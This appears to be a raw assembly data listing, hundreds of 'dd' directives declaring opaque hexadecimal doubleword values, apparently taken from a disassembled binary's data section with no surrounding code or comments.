		dd 7920223Eh, 85F7035Fh, 0C840007Ah, 0D92A0C1Dh, 1B7BDA3Dh
		dd 0BBE38D00h, 217E1C61h, 1140AE92h, 62A7587Dh,	9C8A41h
		dd 0BF3C543Bh, 88037B37h, 7EB6F040h, 8023A81h, 5BC44852h
		dd 0FF6A707Fh, 0A80AD27h, 61400525h, 0F48935CAh, 340ABC5Bh
		dd 88849BBFh, 0A92DB1Fh, 0AD19BC06h, 2D950EE0h,	8CA53BE1h
		dd 290FBBE3h, 8B7201BFh, 3859417Eh, 947BA085h, 0AA3823CCh
		dd 0F01D48EBh, 0BB1F80CFh, 0FB00871Eh, 7BE1D646h, 760DF11h
		dd 957EB05Eh, 0C56470C6h, 398C99E2h, 0BD1D9B0Ah, 7BD0703Bh
		dd 0BF5A3D72h, 0E30A23ECh, 0E250C6FBh, 0EA388F53h, 0BF991EA9h
		dd 0E1C04EBBh, 0E940248Ah, 7EFCAD02h, 914A1CA0h, 0A838773Bh
		dd 0D4F08A23h, 0A6EE38CBh, 2399273h, 2A5E945Dh,	0A48AA330h
		dd 10905318h, 0A6309B14h, 0CBAD10EDh, 0F6FE016Ah, 0ACCA596Bh
		dd 3C1C0B8h, 0D408C061h, 0C44B1D6Eh, 0BD683E07h, 308F875Eh
		dd 0E6548AAh, 67635091h, 54DFB8Fh, 63C10A29h, 14802CD5h
		dd 0C5775218h, 2BA8EA29h, 8360D567h, 297381DAh,	404A293Eh
		dd 588FFDDBh, 8071991Bh, 0B67C5F2h, 392A8069h, 0B241A8C4h
		dd 0DAD200FAh, 0DA10F90h, 58F19774h, 140A7720h,	0AC097F29h
		dd 5A3B8A00h, 60F99BDBh, 6ADD3089h, 440AE10Eh, 6CA1080Bh
		dd 0E70D77C0h, 661F00FCh, 88ED56C3h, 0C000BAE4h, 86CC64ADh
		dd 2CC4A305h, 57F491h, 36C15F9Ch, 0E40E96F6h, 0EA613F7Ah
		dd 0ACC018BBh, 6BCB6341h, 3E005802h, 20C96C60h,	696EE000h
		dd 1B3787C1h, 1B1CA6D7h, 5E7AED35h, 3C763804h, 4F836C6Eh
		dd 0B009AA20h, 10E7EE18h, 10173A6h, 639FD2D6h, 144CCA89h
		dd 7CB81DE3h, 0C15980F9h, 5B8FF7B6h, 0E50610A8h, 0B29C3E10h
		dd 5E311603h, 8FC0896Eh, 2353C962h, 0C3A00F28h,	78DC6C07h
		dd 6BE005F6h, 30F0297Dh, 97B19C2Ch, 0B02BD42Ah,	6EE88815h
		dd 6779C150h, 51823B13h, 6EFAE236h, 0D9CE0C16h,	96294412h
		dd 6ED5EA00h, 976970C9h, 6A983AFAh, 27779A0Ch, 9E3A7A68h
		dd 0A32E0B5Bh, 0AE210564h, 0AB703C20h, 761044EFh, 6D81F803h
		dd 0A3827749h, 5A6AB029h, 3FDE0309h, 4C44A964h,	4CE869A1h
		dd 8B1C6860h, 0ECC01063h, 0B323D6C1h, 749A56E4h, 1AD3AB0Fh
		dd 0B612B4D5h, 89084206h, 50B86C7Ch, 110FDA7h, 160C2CD9h
		dd 1C90A9ABh, 0D129BDFCh, 158030CBh, 0B67C549Dh, 0F6C10E5Ah
		dd 69A5AFDAh, 0CD182C45h, 5E594C0Ah, 1D8CD0DEh,	0D4849001h
		dd 27B03868h, 46203547h, 0F2360A2Dh, 0E074E77Eh, 0C714839Eh
		dd 8AD41B54h, 0DB33FF07h, 5B410560h, 7BE1EF17h,	0DB06A44Ah
		dd 0C1610870h, 0D81A7619h, 1D2D330h, 0E130414Ah, 480C2739h
		dd 0F232648Eh, 0A0B88490h, 0D31B032Ah, 59BBCD5Ch, 0D9B0800h
		dd 357AEC21h, 0BAE13F30h, 617C66BDh, 4D1B60C1h,	0E845D2F8h
		dd 0D6AC4281h, 0B600DD78h, 0CD0C2ACFh, 50D12E7Bh, 0E10B0770h
		dd 402F95DAh, 0CD5F931Ah, 7FE01B01h, 0D8385B0Dh, 76A18887h
		dd 1F94C336h, 0DC8C901Fh, 34675B00h, 63B93B33h,	0E2AB1008h
		dd 0C0AA82E7h, 85D72702h, 0A400ED84h, 0E26C40BBh, 13140F5Ah
		dd 0FA0CDAECh, 9B3A7040h, 0A09C4837h, 24FFC76Fh, 81F0A8FAh
		dd 1BCF45FEh, 8109BA92h, 0E4DAE06Ah, 0B8D0E27Bh, 0DB361463h
		dd 20749076h, 1A040C62h, 0E87AE13Eh, 0DCE46170h, 701FBD20h
		dd 0E0F263F6h, 0F87301EAh, 3AE25400h, 7A95298Ah, 90103AADh
		dd 1AEC6A61h, 99C50FCh,	9B183673h, 0CBF006CEh, 4C049819h
		dd 491108A8h, 73FC139h,	0A824D2C2h, 335D0656h, 78E37BCFh
		dd 0F898FB28h, 1602FA19h, 0FC42A710h, 16865DAh,	0BE765B2Fh
		dd 3648808Bh, 0FB286949h, 0BB90A11Bh, 5BD139F5h, 0F02AA7C4h
		dd 5230F98Eh, 0E196047Bh, 8197ED3Ah, 40228C28h,	0E24456C8h
		dd 0D9DB9A0Eh, 0E74587E0h, 20401A41h, 0A01B1820h, 7830BA88h
		dd 599A182Eh, 0EBD9A849h, 4DEE40C5h, 46168805h,	4AB9C806h
		dd 0DBB13A28h, 51C55A0Ch, 28C3C710h, 0A74E7FFAh, 18479383h
		dd 82B0790h, 0B58144AEh, 9D7AB440h, 0E7E0A13Ch,	0CC5AB841h
		dd 0BE1918BAh, 87561041h, 47B27A70h, 147C1A43h,	9C6D3A10h
		dd 51856274h, 888272EEh, 5041FF05h, 0FB882012h,	0DB10C961h
		dd 408365B6h, 0BAEC4859h, 9C83ACF2h, 0B81BEF30h, 0E638585Ah
		dd 0B32D2441h, 10CC1814h, 0C2649F7Bh, 5340BA08h, 69DBCF6Fh
		dd 9B905E50h, 0EE985F50h, 0BA185C90h, 86983D41h, 0FC4A09Dh
		dd 5ED8C45Dh, 94A48059h, 9B30CF66h, 93DB107Bh, 8240CDEDh
		dd 86B3F010h, 0B261CC7Ch, 14A73AA0h, 74575020h,	11A1E3Bh
		dd 489A0605h, 3551D0B9h, 743FD09Ch, 0FE5AE30Ah,	2A18AC28h
		dd 0C631DA18h, 905B6F81h, 0D4952B28h, 0E8678828h, 37839D1Fh
		dd 80133E8Ah, 8C15FD00h, 0E8F2589Bh, 127C313Bh,	0ECA04D10h
		dd 0D47F89DBh, 0BA671B1Eh, 841FBCDh, 183E08F0h,	28637B9Eh
		dd 0D3633D5Bh, 0E0215508h, 0C7EAD63Bh, 41E48750h, 87C47ADBh
		dd 0AFF63908h, 0A0F557A3h, 0EAE0B04h, 75EEA4A8h, 20BB4487h
		dd 0ED329F27h, 630086F4h, 77B9924h, 288889h, 44A4B65Eh
		dd 4A94EA8h, 8338E06Eh,	0C1AB0F9Dh, 50B8D068h, 0E4A9BD83h
		dd 280BA7F0h, 7FAFB869h, 0C486810Eh, 84387832h,	0A210E3F3h
		dd 51901EB7h, 65440685h, 4C0658BBh, 2C5BB31Ch, 74D7E8C8h
		dd 0DEFCE5h, 0E83B9199h, 4ADBB303h, 84AF1707h, 64408D62h
		dd 1D8C979Ah, 60AF0FBh,	400D3E1Bh, 8E94431h, 7BF056A4h
		dd 9192069Eh, 585341BBh, 8202C34h, 398C210h, 0C4A8ABB1h
		dd 69D91E2Bh, 4CE4067Eh, 0FA2808D1h, 10379CD4h,	0A08C5088h
		dd 591328DBh, 319A3BC0h, 0EC07A700h, 162C2094h,	0CA01A0E8h
		dd 0D4804FD5h, 19D04EDDh, 14B7CA6h, 2048266Dh, 304FC565h
		dd 0E0F0A7EFh, 70A9F948h, 93463Bh, 13E337E7h, 0E8E5D627h
		dd 8396FC7h, 0F9BC7000h, 0A69F167h, 4F720010h, 1476AAE0h
		dd 0E5C68BC3h, 60B5B200h, 0BC74D5CCh, 1D64EF04h, 338313AFh
		dd 0FF07A02Bh, 0E7F42BC9h, 17CE001Ch, 0B3FC6E85h, 3984EF00h
		dd 3B87EDC0h, 0E0558009h, 0CC3078C0h, 46B9204Fh, 4D74136Ch
		dd 4080170Ch, 7C0D1524h, 42DF34F1h, 0ED49A378h,	0D6334401h
		dd 0AC97F0DBh, 8470E13h, 7E80F683h, 51A0494Ah, 0B5986774h
		dd 0C087B60h, 28604439h, 3A9CCB07h, 0C01953A2h,	0C5E010E3h
		dd 0CC80F0EDh, 0A000147Ch
		dd 604FD689h, 0F04EDC15h, 282765BCh, 20D40358h,	101BA1C0h
		dd 9BE08067h, 9081802h,	0A20CF8A8h, 5C2887F8h, 0F103F8BFh
		dd 0D8604835h, 507874F6h, 0C3E3D427h, 1159E010h, 8468401Eh
		dd 0C088287Fh, 0A24FC710h, 84D9618h, 0DA81B471h, 0BE8CA700h
		dd 0A52EB0C6h, 698909C0h, 628AC049h, 18DA1818h,	0BC549120h
		dd 38C6B294h, 0E13030A6h, 45C094C1h, 0E5E8EBh, 0A4FE8553h
		dd 4F97E96h, 1B1D33Ch, 0F5CA6AE4h, 0A7CF2624h, 1D2894C6h
		dd 78FE084h, 8F8CEBC4h,	0F5F44F83h, 188EC6E5h, 4D0A7C03h
		dd 188F285h, 0F96B9E10h, 0B10744h, 70D23DC9h, 0A0B23AE4h
		dd 8408C07Fh, 255EF990h, 4C70C004h, 6504DE05h, 0E7E50F2Fh
		dd 0C6834D3Ch, 7C05A09Ah, 0F7C5F03Fh, 523E31B9h, 61F52500h
		dd 629A455Ah, 7C1E85E8h, 1B005E8Bh, 17C55B4Fh, 31E5F87Ah
		dd 67206039h, 4825E07Fh, 8B80EB61h, 4BE15B4Eh, 0CFA5C1C3h
		dd 2CC4A9C8h, 0C7B5D3Eh, 0D8209434h, 0D00890FFh, 0CA9DA50Fh
		dd 45D60523h, 796BE5E0h, 0C24F90Eh, 0CEDA6355h,	0D13AB89Fh
		dd 31A57C0Dh, 3670CBE0h, 4A5880F2h, 0C5112AEAh,	206EA64h
		dd 8768AE1Fh, 0F082C0EEh, 1090EBB3h, 5A107839h,	0A000F6FCh
		dd 852FF1D4h, 280DED33h, 0F8ECF805h, 342C98CAh,	0D3010061h
		dd 0AFC719F2h, 0A60189FBh, 0CB8CC242h, 0D1C43B62h, 4D903A82h
		dd 0C306A200h, 3D91BEA0h, 4AA9610Eh, 8D89E0EEh,	0CFC71Ah
		dd 62A6B3CDh, 2D4B775h,	4039E831h, 42D034DCh, 0A1D805E0h
		dd 23A94B4Dh, 7DB8A524h, 6F80ACF6h, 1F97A52h, 0CB152B62h
		dd 0D967FCA2h, 641C5843h, 0A0FA883Eh, 768F02BFh, 3182A5FBh
		dd 97995498h, 8E83F310h, 16682F00h, 1F93E328h, 0EB0363E8h
		dd 5C8327FCh, 8043A3E1h, 3C2A6C5h, 2DA1E0AEh, 0CDA0E740h
		dd 74015C54h, 0CA63CFA3h, 0C33622h, 0A2B02610h,	0A714A62Dh
		dd 7F3E96B0h, 0F3821377h, 0E3A1BB00h, 50FF22D4h, 748B8838h
		dd 0D6020E83h, 0FAC323FDh, 0B5C1CB3Dh, 0D188029h, 0B042D079h
		dd 7722F080h, 633E07D7h, 4524874Eh, 0F270306Ah,	3900E965h
		dd 4FC67473h, 2CBB8E5h,	5AAED642h, 0A68220E3h, 0A480EE03h
		dd 0CB995DC3h, 0D0FF8270h, 51C064E2h, 5F0C34FAh, 0E9B2019Dh
		dd 0AAFD5C7Ah, 45C6EC1Dh, 2DAF9900h, 8665F8BCh,	184C50CDh
		dd 0A1551130h, 37BD0373h, 0CD994A75h, 0C9331430h, 58EB2085h
		dd 3D905D79h, 36006798h, 0DFD3F8A6h, 0EE4DD8BCh, 3C34AEB9h
		dd 800D591h, 0FDAAFF26h, 0BC1FDE31h, 0CC425E98h, 90A0547Bh
		dd 18D3D018h, 70593DA2h, 0E602079Dh, 84338A6h, 5850B845h
		dd 0C1811823h, 973D6024h, 9BCCB306h, 8CA8610Ah,	6ECB0048h
		dd 4B931573h, 0B7ECDDAAh, 0AB1BCF0Eh, 8F7B85BCh, 2B189805h
		dd 0CB119C40h, 782D949h, 13F95397h, 4CB8C2E2h, 3C722C98h
		dd 0E1A9E33Bh, 0B9C97D88h, 74515080h, 6333991Eh, 7F594A00h
		dd 8E7945D2h, 31B9E8DBh, 2F0825FEh, 96E087EDh, 0B5434E50h
		dd 0EF19E0EAh, 0E98FEACh, 58A6CFD6h, 0C9E1DEEh,	8F10D027h
		dd 181F377Ch, 0D80A20FDh, 7807CC62h, 0B8C33B29h, 18180860h
		dd 47081DCDh, 0CE580C10h, 20C1F240h, 0B9653038h, 0A00985ECh
		dd 0F07FC5E8h, 36913C78h, 204C3818h, 0C65C60D4h, 0CB351D3Bh
		dd 21C35406h, 8C671E08h, 197118D8h, 34F8C08Ah, 0D9B33Ch
		dd 35E5F814h, 10EFCCF5h, 1884D4D8h, 9410C0F4h, 20DD7855h
		dd 0CDF84FB4h, 741EEA7Ch, 340667ADh, 7A386EE4h,	4418CC70h
		dd 20C67A11h, 181847B4h, 3092C8F4h, 28C6A7FCh, 31089EB7h
		dd 0F8A0954Bh, 0CA708C64h, 403A28E3h, 18C3146Bh, 3082F6B4h
		dd 34101B08h, 0D0BFD7C7h, 5470CF9Eh, 148344AFh,	100F7BF5h
		dd 67C29E5Fh, 0D44183EFh, 0F4E0B14Ch, 1FA97C9Fh, 60FAB14h
		dd 208DF174h, 1B309A6Fh, 2838301Eh, 4E9C5470h, 807088C7h
		dd 0FD7D34D1h, 91AD4080h, 0A9163561h, 2D31F5E8h, 0E2A108F1h
		dd 3EA615F0h, 0AE1D66D6h, 77003CD9h, 0CA0E925h,	0BFA02897h
		dd 32B87A8Dh, 0F1C6F300h, 0B566C784h, 0F414A699h, 871E10DCh
		dd 26510337h, 0E295614Eh, 0E0653003h, 38670CB0h, 0CD32B128h
		dd 8704166Fh, 204E6546h, 0D7C0110Fh, 7191156Fh,	72072CA5h
		dd 811C8458h, 0F0160271h, 0BDC87561h, 7A328082h, 8BAEBC83h
		dd 1EE295B8h, 6E5C3A74h, 6C541847h, 512D9408h, 4A86A4FDh
		dd 88B156Ah, 30818C85h,	44639824h, 0D029D101h, 0AF5054C2h
		dd 3C313590h, 95A710BEh, 8E1AD442h, 438DC4C0h, 0F583481h
		dd 985EDC42h, 103E7A2Ch, 0C421B6Bh, 3849DB31h, 1BA67404h
		dd 40887255h, 94508084h, 4D8093FBh, 0D56601D4h,	17EB7FBDh
		dd 0F7089DCFh, 33100D9Ah, 57AFA060h, 0E53D0372h, 235E91C6h
		dd 14AC4029h, 0E2EF9C8Fh, 40E85D83h, 0A3895B00h, 0C27F88ACh
		dd 90BFFA94h, 0B7433138h, 204F25E8h, 5490773Ch,	0A0DAD430h
		dd 0D00D4634h, 0BBA0DCB0h, 3D126F05h, 1C04FF29h, 7804F017h
		dd 78095B8h, 5C587550h,	0AC740678h, 0A890D57Eh,	0A044B448h
		dd 33EF90DCh, 0B1B087AEh, 30267ABBh, 940734C5h,	16899C8Dh
		dd 7C890260h, 0E756E5DCh, 8C8B3841h, 40915528h,	0D8E12435h
		dd 0A64137Ch, 50A81418h, 18192E44h, 71404003h, 8271058h
		dd 574DFE2Dh, 0C57FD100h, 29F55566h, 65BC61EFh,	5F4EC101h
		dd 31D0403Eh, 2E81C5ADh, 6735308Ah, 0A708E0A4h,	0E628585Dh
		dd 7326E8EEh, 1009A404h, 2F4404BDh, 857430C1h, 969344Ch
		dd 1452CCB6h, 906CF024h, 0C297BC94h, 0A2635091h, 0E8DAE9D1h
		dd 8A516888h, 0FCC4D402h, 5F096C2h, 42DB0F13h, 3EC846A6h
		dd 748300Ah, 20343C90h,	1873489Ch, 409CF429h, 2DC85B69h
		dd 1140AB61h, 644A99C9h, 48E6A303h, 98091C44h, 3494371h
		dd 1680E040h, 118AB560h, 839E3020h, 0EA6766A8h,	80D13808h
		dd 40C82196h, 0E2C14CABh, 29E8A420h, 4014B1C9h,	0D03E4BFAh
		dd 0C45C3828h, 14825F73h, 30CC06A4h, 28229668h,	68B2F17Fh
		dd 0F0BD4924h, 89D5A0Ch, 0AC40D0F2h, 572132B0h,	2C797820h
		dd 9B985351h, 8AA4386Ch, 4DD10310h, 0A1D411Ch, 9C51B170h
		dd 55F75060h, 4BEB9D10h, 4BF81116h, 5808A530h, 0DDE0E018h
		dd 88241E78h, 1D707CE8h, 41A60896h, 9F165C3Bh, 0C3744C05h
		dd 61F4E402h, 6AD086E1h, 0B38C3109h, 897F8920h,	5FE2E08h
		dd 0CC81BDC4h, 0C4643594h, 0E86959E4h, 702CF726h, 432A0EFDh
		dd 3119B069h, 30609A58h, 32140820h, 0B310AC9Fh,	0C32080C8h
		dd 0EB988CB0h, 41DA31F1h, 853A7484h, 1F9CF470h,	0D49C405h
		dd 0AA8B038h, 8A2A597Bh, 0EE910684h, 66E268B5h,	0B40EB4A7h
		dd 5BE0E26Eh, 0D50041F9h, 99F012F3h, 51843895h,	9808B600h
		dd 0C78F6B19h, 0CDC90079h, 0A66E1838h, 0E200FB32h, 8BAF2252h
		dd 596763h, 0FA278497h,	5EF8CD24h, 0D814D974h, 8018686Dh
		dd 0F157A01Ah, 758C108h, 718249A4h, 502C0CFCh, 5A9FF208h
		dd 5467026Fh, 28B8A718h, 0B0F18F74h, 6147506Ah,	0F8A72B1Fh
		dd 4AC10714h, 9501CE60h, 1B1A784h, 3C4C5D98h, 4EFA180Ch
		dd 9187293Eh, 247878C2h, 2748386Eh, 281CE030h, 11D26BE7h
		dd 0C01518A7h, 0C8C9B4CCh, 0E6A4A8C2h, 78A7570Bh, 195B9A03h
		dd 50054E12h, 824A8027h, 5ED56470h, 0F3842A2Ch,	0B5CC15A0h
		dd 80C13C82h, 10EB3D0Ch, 1F2ED367h, 40CD59ACh, 45A97882h
		dd 0A461F9A6h, 969A9908h, 0B2F0188Eh, 31175885h, 0CC8E3128h
		dd 4780DAA2h, 85A990B5h
		dd 0A00581A0h, 82D474E1h, 0FD1FA728h, 7778B899h, 73C53018h
		dd 0FE0487C9h, 0C0F09952h, 50E62371h, 35E780D7h, 5098692Bh
		dd 2BD5AA83h, 0C7510AAFh, 503C8499h, 0F895A315h, 2778C033h
		dd 389998FEh, 0D0860A31h, 58E08509h, 0FCD2531Bh, 0C3CE469Fh
		dd 70041D3h, 0B9A66526h, 291DDC91h, 83187141h, 791BC742h
		dd 4B679914h, 273807D8h, 30CAAF48h, 0CB83C6C3h,	47F1095Fh
		dd 541C29C1h, 50FDCD05h, 0B444EBD5h, 908E14A2h,	78152B02h
		dd 0A441767Fh, 23B5C187h, 75A380B8h, 0A8041B6Fh, 4815B3B4h
		dd 0F1B0F8A7h, 4924CBB7h, 0C704541Dh, 7C8E2898h, 43D713Bh
		dd 6B11F930h, 0F818DB08h, 8F080DB8h, 10296F0Bh,	32C3CD20h
		dd 6300C4A7h, 56655380h, 0CF66DDh, 87706F6Dh, 0E42E3223h
		dd 4D004A7Bh, 7939B42Dh, 1828EF1h, 2B98A9BCh, 30AE7FDDh
		dd 6D00E572h, 0C2BF127Ah, 3F20653h, 49428A3Ah, 20E882C7h
		dd 0C60009E7h, 0EC26D61Dh, 2F8EEF1h, 286A2C5Fh,	0CE81B6D7h
		dd 0F4031D8Dh, 3430634Bh, 5002B972h, 7548FC4Ch,	6587003Ah
		dd 9A2F84EAh, 3D00C18Fh, 0B92E43A1h, 1E05E02Dh,	4342214Bh
		dd 0A05CD251h, 0D6C0FB88h, 8D728C00h, 9436B250h, 0CA700BDh
		dd 69F4939h, 0F005852h,	83913B74h, 1C0990ACh, 80ED9255h
		dd 4D9CEECCh, 0D500C732h, 0D1E44C9Fh, 1477B18Fh, 4B0BE10h
		dd 83625180h, 0B157700Eh, 8D08A60Ch, 88500030h,	90F7F60Ch
		dd 0E02113Eh, 0AFF12A6Ah, 21F081AAh, 18881075h,	0B3455676h
		dd 2BE21844h, 74851B20h, 84249A88h, 24F31A28h, 0A712621h
		dd 80C3EF7h, 2B454EBEh,	244A3C4Ah, 300A288Ah, 453CC208h
		dd 0AE244829h, 9793FE67h, 40A080FCh, 57B20032h,	0D1069817h
		dd 0A51C5911h, 2C589EBAh, 44235119h, 9C40723Ch,	6E20Bh
		dd 8FF28481h, 4AD5F21h,	0EE0093B8h, 0CF714B8Ch,	6066D5E6h
		dd 20BB6AFDh, 18D8B918h, 0D67220h, 0E7580C3Bh, 0A752B329h
		dd 78513F20h, 69A401ABh, 0F42667ACh, 18B6DCD1h,	0FAE10F07h
		dd 4157AF86h, 89FBC2D0h, 0BF820057h, 0B906D4A4h, 0B3F60C61h
		dd 0FAE56017h, 0ED672B00h, 0A0284Ah, 1F3ED7BCh,	0B8BE2426h
		dd 0E0399C0Ah, 6B404C21h, 0D688769Bh, 0F8B400D8h, 2941B51Dh
		dd 0F7E4E314h, 0E6AB0084h, 0DEEC30BBh, 8CBF00E8h, 5E48BAC1h
		dd 0E5007E0Dh, 0DA11880Eh, 0D340A5h, 0F0B9AF77h, 8321A95Fh
		dd 0D6FE303Ah, 0DA43781Ch, 7D2E91CEh, 0F704F87Dh, 0C0081666h
		dd 89A62FB2h, 0A1C08A52h, 0BBE86E3Dh, 0CDCA0EE4h, 0C100AE8Eh
		dd 4A1B2FA3h, 0D63228C0h, 399287h, 0EBE5E681h, 93F03FA9h
		dd 9CECC500h, 5ED7301h,	55CAC69h, 0EE4F81AAh, 29F6829Fh
		dd 0FA3E1A40h, 67F1DB01h, 0AF7032A5h, 7DD41ECh,	71FDE7F9h
		dd 0FC108036h, 0AC183D5Ah, 31892C79h, 0B4CA636Dh, 81C4572Fh
		dd 0C4662410h, 0DD304403h, 0AE3D292Eh, 3C9174B3h, 0D7033B0Bh
		dd 0F0CCA4DBh, 4AED7CC1h, 77EC8058h, 0F6EB376Dh, 68E10072h
		dd 0BFA8BB2Eh, 840024ACh, 0EA5DFA8Eh, 8BAE4Ah, 0BE199585h
		dd 2BAB3120h, 83693E00h, 0FA8906BAh, 0D71E07A2h, 0B0AE50ADh
		dd 4C22B893h, 0F097D507h, 0F850BF48h, 144ADE2h,	0D85F4533h
		dd 0E0AE5AD3h, 853A7DB3h, 0FA1C7A57h, 753CC4B5h, 31D70630h
		dd 0F96E654h, 958CF5FBh, 5B7608C3h, 8F1CC0C8h, 9D0047FCh
		dd 0C540E139h, 0DE5CBBh, 64A20444h, 692D535Bh, 821CDB0Eh
		dd 1F8563C6h, 0D8790346h, 2D2F73C9h, 9D5B10D8h,	0A7B0AA07h
		dd 2490493Ah, 3C4ADDEh,	0FB645C57h, 900DDFD5h, 409260B6h
		dd 0F930E0h, 0B84BC1ECh, 0A7ADD8B9h, 7A1CC7B8h,	0A9054A9Ch
		dd 0AC2BE588h, 9E49F7C0h, 57000D4Ah, 2BA786Eh, 0A832DAh
		dd 0D5CB0FC5h, 9FF52D46h, 4733CA00h, 0BD5984EBh, 5B6EEAEh
		dd 6C0D10E0h, 15447BBAh, 384C68Ch, 0C8E240D4h, 981C9028h
		dd 52B0013h, 0D70EB2F3h, 0F21D45ACh, 1ECF540Fh,	0BA112007h
		dd 3CCDAF5Eh, 339DC6ABh, 62380E7h, 0F6A8384h, 0A38B6900h
		dd 57A616ADh, 7C6E00B2h, 0E400A21h, 5A37F12Fh, 0C07330ABh
		dd 44910AA3h, 0C1E7EFh,	0B39F66CEh, 0CA05498Ah,	47EA12BCh
		dd 96628470h, 0FF433CA5h, 0D724F787h, 0FB640D8h, 0A2025621h
		dd 0EBDD3C9Bh, 53B62D2h, 0B9001084h, 5E8A81ADh,	0E9381C99h
		dd 0DD3E86B7h, 0B30080D2h, 80ACD5CCh, 0ECE75962h, 45C8006Ah
		dd 35C9225Eh, 0D0A4C6D8h, 0AC93F30Fh, 0E4EF2023h, 9151EE47h
		dd 0B4765E64h, 71CE4000h, 5CADC80Eh, 0F00F1F1Ch, 0C0E1DE51h
		dd 0C1E4488Eh, 930716BEh, 7BCFB59Eh, 0EB69631h,	92AC0C22h
		dd 0D929AC30h, 91FCB536h, 28170004h, 0C44DC973h, 89533B14h
		dd 1907AFFCh, 40605893h, 0FF57467Ah, 0F5565B00h, 23BF8840h
		dd 5A30047h, 7EB832EDh,	0BB02A6C6h, 6AF8F6CEh, 60B86057h
		dd 0E85C051Fh, 0A28C5Bh, 43DB84BCh, 8F7DA9EDh, 59734500h
		dd 9A0117E4h, 0A2AF015Dh, 8C39037Ch, 0D754D0A1h, 1DF1BC1Dh
		dd 60206FFEh, 8C40D063h, 0DC0B02F2h, 83D2C5Fh, 2DC7D321h
		dd 6365A0E0h, 2B4C108Fh, 8F9D37C1h, 2346D21h, 8011EEh
		dd 307F2DC4h, 2E5C20A0h, 6840F3F0h, 796B60A4h, 1DE3664Dh
		dd 0F0545E30h, 0BC0CFFh, 366CFABBh, 3B03E0F5h, 0FC1D3Fh
		dd 0BEEA1710h, 1A2B5CBh, 0CE4767E5h, 0C8E72760h, 53000118h
		dd 0B858E8D7h, 0A8BC6366h, 0A5E499Ch, 0A864B5F5h, 363A0684h
		dd 0DB164012h, 0C6008F92h, 2ECF555h, 0B3C30BAh,	1EF9E448h
		dd 0E3D94D06h, 0F0B0A032h, 3BE8075Eh, 316A9636h, 0E00C9752h
		dd 8F342609h, 0E41C49D7h, 0DB0D7112h, 6BCF0AFh,	0CA170F09h
		dd 0AE8C348Ch, 51907B60h, 0BEEE3h, 8CAC5E9Fh, 3BD51315h
		dd 6100C4E2h, 0AF57F6F1h, 382697E7h, 4F0EA2B6h,	62A06E2Eh
		dd 0C22B788Ch, 0DD457E00h, 0F1FAE27Ch, 1C95036Ah, 0EE233165h
		dd 6346C4E0h, 7BA838h, 95044C7Eh, 3EDAC2h, 541A5EA3h, 92CC5298h
		dd 49884700h, 0E001651Dh, 26DB00F0h, 150AA859h,	0FD00417Dh
		dd 30739563h, 256085h, 8C1A1E79h, 0AF7A9753h, 49213400h
		dd 51A68D62h, 0BBE2D0h,	9A4DB41Bh, 180AB26Ah, 0C60FDAEEh
		dd 0AAA8CAh, 4D61FB7Fh,	74CB00A5h, 35454996h, 2B07D38Ah
		dd 9B3A4838h, 3227F870h, 82E60041h, 87547C8Ch, 0D1038BA1h
		dd 0D36D1BF7h, 1F2FC88Ah, 0A7B400F1h, 397E2AECh, 2603DC50h
		dd 0D9030938h, 9171F0FBh, 1E370002h, 0B01DAE14h, 643C0477h
		dd 860B00B6h, 85719395h, 0C4220F72h, 5141B273h,	47FD1987h
		dd 4755A3C2h, 0F6CD9890h, 7A63BB00h, 0AF728392h, 7F4C0010h
		dd 11D4C19Ch, 0BD00986Dh, 51CA78F6h, 13AADD1h, 0D580AE55h
		dd 0C73C84B9h, 0DCDE1100h, 52E0E2Fh, 4D30300Bh,	0E4950D19h
		dd 3E167C0Fh, 9A2EC00Ch, 0F056AAh, 0B44449EEh, 0B0C6D7D1h
		dd 0DA03E9E6h, 11571EDBh, 5831F07Ah, 0E3C9863h,	0E2608694h
		dd 1C355660h, 0C70037B2h, 49FA1DFBh, 3CBD5513h,	0BE80B963h
		dd 0B116946Eh, 0EC00F01Fh, 0B81DC920h, 31E25382h, 4C44E559h
		dd 0F958C4EBh, 1DB0A400h, 3257FDD4h, 0ABAA0EE0h, 71C0604Ah
		dd 5CCA0159h, 4BCEFA00h, 0E8B03038h, 7F3F25Ah, 0DB89215h
		dd 0E3BD017Dh, 3BE9DC39h, 5B03800h, 19B35806h, 28A9002Fh
		dd 7596E2EFh, 2403E97Ah, 0D93D908Ch, 68AFD06Ah,	0E83400E0h
		dd 39214683h, 7300AA62h, 2EE3163Dh, 604FDDh, 0BD570A1Bh
		dd 0EAC9611Ah, 1397258h, 0B676F238h, 1880F801h,	0AFCD7046h
		dd 210F9E50h
		dd 3C99ABB3h, 398F2400h, 24B96FE4h, 2747CAh, 0FF95C107h
		dd 6600938Ch, 3B257E54h, 0E8BE27D6h, 0A6C30181h, 0ACDABBC1h
		dd 3E3E20FBh, 37D8C801h, 555E771h, 51A3FCh, 127B402Ah
		dd 6FB36D14h, 0EBD79300h, 3DB0BDE1h, 39430029h,	0BB51039Eh
		dd 0EF00078Eh, 4908BA2h, 39422E9h, 91D2681Ah, 56C0ACC7h
		dd 6B002B2Ah, 0F8496090h, 634731h, 0E083C3A4h, 0DAD41033h
		dd 966BE700h, 8B6544BEh, 0AC180026h, 14C86D27h,	13001C71h
		dd 5EBF75C9h, 8A3336h, 4469C06Eh, 381198A1h, 0A345B900h
		dd 7A78347Eh, 5B090F0Fh, 0B020EA25h, 0F5E3BB41h, 43E45103h
		dd 0E9761E29h, 88E423F9h, 0C1DE00AFh, 158D1037h, 0F1072DB1h
		dd 71673139h, 9D850290h, 0EF050791h, 0A0C7154Ch, 28794BFCh
		dd 90B30800h, 9217A4DDh, 0E9B403BAh, 0D6FAA777h, 6FF607E0h
		dd 0AB5FC700h, 5E4B42CEh, 0B3710306h, 98C86B7Ah, 8E8D60D7h
		dd 0B400F227h, 0CD59862Bh, 0D7DE47h, 933E2462h,	4918B2DFh
		dd 0FBEE6CF2h, 0C5F63500h, 2F258AD4h, 845201CEh, 0A7A4B855h
		dd 350DE02Eh, 0E3004B7Eh, 0E9F2BE76h, 493D6FCh,	0ED85BDE0h
		dd 54E9C039h, 0D20F7F5Dh, 0C7DB1D5Eh, 0A62035FAh, 282ADFh
		dd 78BE930Eh, 0C1983CC8h, 0BD4CB800h, 0A39A46A4h, 0D8FD3FA5h
		dd 8ACB7400h, 3EF68258h, 0FA760509h, 6E50179h, 7E6138CEh
		dd 0E058D0h, 52395A77h,	0F9BA78DCh, 0F1607D00h,	0BB0BC014h
		dd 0C1C20315h, 3AFEE040h, 5E5BA5C8h, 9F94D500h,	0DC6342EFh
		dd 0BAAF005Ch, 20D2114Eh, 0EA00B9DEh, 28F80D55h, 7E32C37h
